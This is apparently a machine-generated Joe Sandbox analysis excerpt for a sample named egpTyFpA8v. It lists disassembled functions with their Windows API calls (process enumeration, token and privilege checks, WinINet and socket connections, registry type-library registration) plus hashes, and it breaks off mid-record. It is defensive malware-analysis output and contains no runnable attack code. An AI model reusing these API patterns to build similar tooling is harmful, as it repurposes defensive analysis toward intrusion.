Function 00493C55 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00493C7A
Process32FirstW.KERNEL32(00000000,?), ref: 00493C88
Process32NextW.KERNEL32(00000000,?), ref: 00493CA8
CloseHandle.KERNEL32(00000000), ref: 00493D52

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 9cfc1f1386abc203da53634bdc5ea8907c9710f25ba758fa700921ccbf1c56e4
Instruction ID: f335d3ff080c91af2b568f3d5377112cea61bd4ea3decdc4368de04a79fdabdb
Opcode Fuzzy Hash: 9cfc1f1386abc203da53634bdc5ea8907c9710f25ba758fa700921ccbf1c56e4
Instruction Fuzzy Hash: DC31F471108304DFD710EF55C891AAFBBE8EF89318F40093EF485822A1EB749E49CB56

Function 004BC498 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00432612: GetWindowLongW.USER32(?,000000EB), ref: 00432623

GetCursorPos.USER32(?), ref: 004BC4D2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,0046B9AB,?,?,?,?,?), ref: 004BC4E7
GetCursorPos.USER32(?), ref: 004BC534
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,0046B9AB,?,?,?), ref: 004BC56E

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 5bf64ab07096634b44ba6adc9acb717850839a7747ed7e6b325c4f3e59331e37
Instruction ID: bacc3030bf76d08f61a04910ad348a1d3e55127de64586fd5cbc4ec974674914
Opcode Fuzzy Hash: 5bf64ab07096634b44ba6adc9acb717850839a7747ed7e6b325c4f3e59331e37
Instruction Fuzzy Hash: B5318135510428FFCB259F58C8D8EFB7BB5EB09310F44416AF9098B361C735A960DBA8

Function 00488656 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0048810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00488121
Part of subcall function 0048810A: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 0048812B
Part of subcall function 0048810A: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0048813A
Part of subcall function 0048810A: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00488141
Part of subcall function 0048810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00488157

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 004886A3
_memcmp.LIBCMT ref: 004886C6
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004886FC
HeapFree.KERNEL32(00000000), ref: 00488703

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 01cc38c879496336a1003486fd99a942cc57ea7bdb10a28244448c834f403ccb
Instruction ID: b44742dbf9dca8e60e990751f040fcbca84940cb96d594b5295ba7bb79a6d869
Opcode Fuzzy Hash: 01cc38c879496336a1003486fd99a942cc57ea7bdb10a28244448c834f403ccb
Instruction Fuzzy Hash: B0217C71E40108EFDB10EFA8CA49BEEB7B8EF45305F55445EE844A7241EB35AE05CB58

Function 0045098C Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 004509AE

Part of subcall function 00435A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00497896,?,?,00000000), ref: 00435A2C
Part of subcall function 00435A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00497896,?,?,00000000,?,?), ref: 00435A50

_fprintf.LIBCMT ref: 004509E5
OutputDebugStringW.KERNEL32(?), ref: 00485DBB

Part of subcall function 00454AAA: _flsall.LIBCMT ref: 00454AC3

__setmode.LIBCMT ref: 00450A1A

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: 4f3b364da7a036f1364cb101cee8c711343dd61765e58c6661a92b3e6a9d8f24
Instruction ID: 562e98a9a5bba183c54968324944e72ff5d1b2d75fade75d606a2ea874634575
Opcode Fuzzy Hash: 4f3b364da7a036f1364cb101cee8c711343dd61765e58c6661a92b3e6a9d8f24
Instruction Fuzzy Hash: 2B116D355041047FDB04B3BA9C469BE77A89F8531DF10015FF90457183EE2C4D9A979D

Function 004A1767 Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 004A17A3

Part of subcall function 004A182D: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 004A184C
Part of subcall function 004A182D: InternetCloseHandle.WININET(00000000), ref: 004A18E9

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: ff5704977cd6b8a98888ded24334e7bfcbf4ec2010ac4127ae4fcc3e8ae82f32
Instruction ID: decc90da9851b16754c2cb2c9a1a134a68df5f673a37bd41cddd589d7fcd1d44
Opcode Fuzzy Hash: ff5704977cd6b8a98888ded24334e7bfcbf4ec2010ac4127ae4fcc3e8ae82f32
Instruction Fuzzy Hash: F221F635200601BFEB129F64CC40FBBBBA9FF5A710F10412FF91596660DB79D811A7A8

Function 00493A2A Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,004BFAC0), ref: 00493A64
GetLastError.KERNEL32 ref: 00493A73
CreateDirectoryW.KERNEL32(?,00000000), ref: 00493A82
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,004BFAC0), ref: 00493ADF

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 18b4b4d0b656188786adcd842b53e764ba9b276a0815c1c1359f3b083923a971
Instruction ID: d039559c0c3c6e171d4b91e80f0c9dc42bc9f3a94182d567af0919a391b3a76f
Opcode Fuzzy Hash: 18b4b4d0b656188786adcd842b53e764ba9b276a0815c1c1359f3b083923a971
Instruction Fuzzy Hash: A62194745082019F8B10DF28C88586B7BE4EE5A369F104A3FF4D9C72A1D7359E4ACB5A

Function 004650E2 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00465101

Part of subcall function 0045571C: __FF_MSGBANNER.LIBCMT ref: 00455733
Part of subcall function 0045571C: __NMSG_WRITE.LIBCMT ref: 0045573A
Part of subcall function 0045571C: RtlAllocateHeap.NTDLL(00E40000,00000000,00000001,00000000,?,?,?,00450DD3,?), ref: 0045575F

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 4c167ee86c61cb58c5c8ae78fc1c590ec5c227e359fd79150809891710ec09e3
Instruction ID: b2949bf79be9261998477489246c6bb8b46537fd038dcc6eb08de171396e66c4
Opcode Fuzzy Hash: 4c167ee86c61cb58c5c8ae78fc1c590ec5c227e359fd79150809891710ec09e3
Instruction Fuzzy Hash: F711E7B1D00A11AFCB312F75EC057AE37985B063A6F10453FFD09A6252EE3C8D45869E

Function 004344A0 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004344CF

Part of subcall function 0043407C: _memset.LIBCMT ref: 004340FC
Part of subcall function 0043407C: _wcscpy.LIBCMT ref: 00434150
Part of subcall function 0043407C: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00434160

KillTimer.USER32(?,00000001,?,?), ref: 00434524
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00434533
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 0046D4B9

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: 0a64aea06e6ce9b391dbfeff2eabfc0a35df323df7c6c666c7276223eb3d24d3
Instruction ID: 001abae7789dfa77c0979a5510598bd2e1201795355f12436f38be45fb6ef840
Opcode Fuzzy Hash: 0a64aea06e6ce9b391dbfeff2eabfc0a35df323df7c6c666c7276223eb3d24d3
Instruction Fuzzy Hash: 8321D370D04794AFE7328B248845BE7BBEC9B05309F04009FE78E56242D7782E88CB4A

Function 004A6369 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00435A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00497896,?,?,00000000), ref: 00435A2C
Part of subcall function 00435A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00497896,?,?,00000000,?,?), ref: 00435A50

gethostbyname.WSOCK32(?,?,?), ref: 004A6399
WSAGetLastError.WSOCK32(00000000), ref: 004A63A4
_memmove.LIBCMT ref: 004A63D1
inet_ntoa.WSOCK32(?), ref: 004A63DC

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 0d297e1ce715eabc32487149c9465d4b4f6a40478239e23191458876f64fcc4d
Instruction ID: f5b88c3366b729028e0b465fb793f6a7097c4bb9c344c37ab3b307d69f8d570d
Opcode Fuzzy Hash: 0d297e1ce715eabc32487149c9465d4b4f6a40478239e23191458876f64fcc4d
Instruction Fuzzy Hash: 2E119371500109AFCB00FBA5DD86DEE77B8AF19314B14412AF505A7262DB349F14DB69

Function 00488B41 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00488B61
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00488B73
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00488B89
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00488BA4

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 019437fbba57819f97421e338b692ff087a25cdec58e2a3cc2d481b8e9f6e516
Instruction ID: be6c6b708449e1320dab14155f15f78223038653fec082c67d76d981a27b2da4
Opcode Fuzzy Hash: 019437fbba57819f97421e338b692ff087a25cdec58e2a3cc2d481b8e9f6e516
Instruction Fuzzy Hash: 90113A79901218BFDB11DBA5CC84E9EBB74EB48310F6040A6E900B7290DA716E11DB94

Function 00431290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00432612: GetWindowLongW.USER32(?,000000EB), ref: 00432623

DefDlgProcW.USER32(?,00000020,?), ref: 004312D8
GetClientRect.USER32(?,?), ref: 0046B5FB
GetCursorPos.USER32(?), ref: 0046B605
ScreenToClient.USER32(?,?), ref: 0046B610

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 5880c8494b0f533c72820ebad36af210bac67bdaaa240055db53594a632fc853
Instruction ID: 9cfac9065d0f922733ef4150bb410e5354b3a3bcc2d54429c7b9744bfc93a2e4
Opcode Fuzzy Hash: 5880c8494b0f533c72820ebad36af210bac67bdaaa240055db53594a632fc853
Instruction Fuzzy Hash: 59112B35500059FBCB10EF99D8859FF77B8FB09300F4005A6FA11E7251C734BA568BA9

Function 0048D831 Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 0048D84D
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 0048D864
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 0048D879
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 0048D897

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 912b193220bb14a7961c931ddd6e6d6db261d255a3850abe1ca04051a7883f56
Instruction ID: 1b9caa12b41934868637f1137be22a53875872c5a3e9a601de2d21c0d19f96ce
Opcode Fuzzy Hash: 912b193220bb14a7961c931ddd6e6d6db261d255a3850abe1ca04051a7883f56
Instruction Fuzzy Hash: 60115275A06304DBE320AF51DC08F9BBBBCEF00700F10497AA525D6190D7B4E549ABA5

Function 00466FB7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00466FDB

Part of subcall function 004676C2: __fltout2.LIBCMT ref: 004676EB

__cftog_l.LIBCMT ref: 00467001
__cftoe_l.LIBCMT ref: 00467033

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 28c744ff2f87b86975b6df1f002b2063e6344aeda8ec72286f16d6602a6e1d6e
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 25014C7244814ABBCF165F84CC01CEE3F62BB18359F598456FE1898131E23BD9B1AB96

Function 004BB2C5 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 004BB2E4
ScreenToClient.USER32(?,?), ref: 004BB2FC
ScreenToClient.USER32(?,?), ref: 004BB320
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 004BB33B

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: a518392d6bbca83a4ad9600f9d642c8dfd3cda363d6032af9f4cbaba327217bc
Instruction ID: abc8358ba2db95d4d8af01185c77c1af934d7bf35c6ddab4150fa2b8251ee018
Opcode Fuzzy Hash: a518392d6bbca83a4ad9600f9d642c8dfd3cda363d6032af9f4cbaba327217bc
Instruction Fuzzy Hash: D6114775D00609EFDB41CF99C844AEEBBF5FF18310F108166E914E3620D775AA558F94

Function 00496BDA Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00496BE6

Part of subcall function 004976C4: _memset.LIBCMT ref: 004976F9

_memmove.LIBCMT ref: 00496C09
_memset.LIBCMT ref: 00496C16
LeaveCriticalSection.KERNEL32(?), ref: 00496C26

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 3300c88ab316c7b9bf073b0d4a20f36e4f3364aea9093623d244bfc2bf6acd47
Instruction ID: 07e5677f8ba46f438ce65dbfe3b837f458b658d2804001bb351c84bc3a49b38a
Opcode Fuzzy Hash: 3300c88ab316c7b9bf073b0d4a20f36e4f3364aea9093623d244bfc2bf6acd47
Instruction Fuzzy Hash: 20F0303A100100BBCF056F56DC85A8ABF29EF45325B0480A6FE085E227C735A815CBB8

Function 00432218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00432231
SetTextColor.GDI32(?,000000FF), ref: 0043223B
SetBkMode.GDI32(?,00000001), ref: 00432250
GetStockObject.GDI32(00000005), ref: 00432258
GetWindowDC.USER32(?,00000000), ref: 0046BE83
GetPixel.GDI32(00000000,00000000,00000000), ref: 0046BE90
GetPixel.GDI32(00000000,?,00000000), ref: 0046BEA9
GetPixel.GDI32(00000000,00000000,?), ref: 0046BEC2
GetPixel.GDI32(00000000,?,?), ref: 0046BEE2
ReleaseDC.USER32(?,00000000), ref: 0046BEED

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 0efafcc7998f5acc0d9b43945beb39e4f6f3cb3c0976d3f70c05c839031b4f4c
Instruction ID: eada655894c1a0ec08da87cc7db9a939d211872530865d313df21f1b8497a3d0
Opcode Fuzzy Hash: 0efafcc7998f5acc0d9b43945beb39e4f6f3cb3c0976d3f70c05c839031b4f4c
Instruction Fuzzy Hash: 7EE03932104244ABDF215FA8EC0D7D93B10EB05332F008376FA6D980E197B24994DB16

Function 00488712 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 0048871B
OpenThreadToken.ADVAPI32(00000000,?,?,?,004882E6), ref: 00488722
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,004882E6), ref: 0048872F
OpenProcessToken.ADVAPI32(00000000,?,?,?,004882E6), ref: 00488736

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 802032cc05765ba0af61c860e6ea5ca56e5bbb3591430d2de927062f4e4924b2
Instruction ID: 347d384f763158cc324a8abbf51bc1a71f3589b0a44ce4d76aef45ee09074202
